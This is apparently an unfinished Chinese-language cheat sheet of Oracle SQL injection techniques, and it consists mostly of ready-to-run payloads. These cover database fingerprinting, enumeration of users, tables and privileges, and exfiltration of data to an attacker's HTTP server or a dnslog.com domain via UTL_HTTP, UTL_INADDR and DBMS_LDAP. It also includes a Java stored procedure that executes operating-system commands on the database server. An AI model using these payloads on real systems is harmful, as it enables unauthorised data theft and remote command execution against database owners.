难点
- 报错回显困难
- 多盲注
判断数据库
- 报错信息包含dual 或 ORA 类错误,基本就是 Oracle。
- 报错注入(测试 '||'1' )是否可触发 concat 行为
- 特定函数
SELECT banner FROM v$version -SELECT * FROM dual`
信息收集
查看所有用户
SELECT username FROM all_users;
查看当前用户能访问的表
SELECT table_name FROM all_tables;
普通账号常用:USER_TABLES
SELECT table_name FROM user_tables;
查看列字段
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';
出当前用户能执行的全部 Package
SELECT * FROM USER_TAB_PRIVS WHERE PRIVILEGE = 'EXECUTE';
查看系统级授予 PUBLIC (所有用户都能执行)的可执行 Package
SELECT * FROM DBA_TAB_PRIVS WHERE GRANTEE = 'PUBLIC' AND PRIVILEGE='EXECUTE';
| 包名 | 功能 | 风险 |
|---|---|---|
| UTL_INADDR | DNS 请求 | 外带数据最隐蔽 |
| UTL_HTTP | HTTP 请求 | 外带数据 |
| DBMS_LDAP | LDAP 请求 | 外带数据 |
| DBMS_SCHEDULER | 任务计划 | 可系统命令执行(高权限) |
| DBMS_CRYPTO | 加解密 | 破解业务密钥 |
| DBMS_RANDOM | 随机数 | 绕过业务限制、生成 token |
| JAVA 权限相关 | 执行 Java 代码 | RCE |
| CREATE ANY LIBRARY | 引用外部 so/dll | RCE |
| DBMS_XDB / XDB_PROTOCOL | WebDAV | 某些版本可 RCE |
| UTL_FILE | 文件操作 | 在特定位置读写文件 |
外带数据
UTL_HTTP
sql
SELECT UTL_HTTP.REQUEST('http://你的服务器/' || (SELECT banner FROM v$version WHERE rownum=1)) FROM dual;
UTL_INADDR.DNS
sql
SELECT UTL_INADDR.GET_HOST_ADDRESS('aaa'||(SELECT username FROM all_users WHERE rownum=1)||'.dnslog.com') FROM dual;
DBMS_LDAP
sql
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.dnslog.com', 80) FROM dual;
文件读写
判断是否有创建目录(DIRECTORY)的权限,UTL_FILE 只能读写 directory object 指定路径。
SELECT * FROM USER_SYS_PRIVS WHERE PRIVILEGE LIKE '%DIRECTORY%';
查看当前用户可访问哪些目录对象,Oracle 读写文件不是任意路径,而是依赖 DIRECTORY 映射。
SELECT * FROM ALL_DIRECTORIES;
进一步查看
命令执行
当前用户拥有执行相关 package 的权限
payload
sql
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS
import java.io.*;
public class cmd {
public static String exec(String c) throws IOException {
String s = null;
StringBuilder sb = new StringBuilder();
Process p = Runtime.getRuntime().exec(c);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = stdInput.readLine()) != null){ sb.append(s); }
return sb.toString();
}
};
/
CREATE OR REPLACE FUNCTION run_cmd(p_cmd VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'cmd.exec(java.lang.String) return java.lang.String';
/
SELECT run_cmd('whoami') FROM dual;
。。。。未完待补充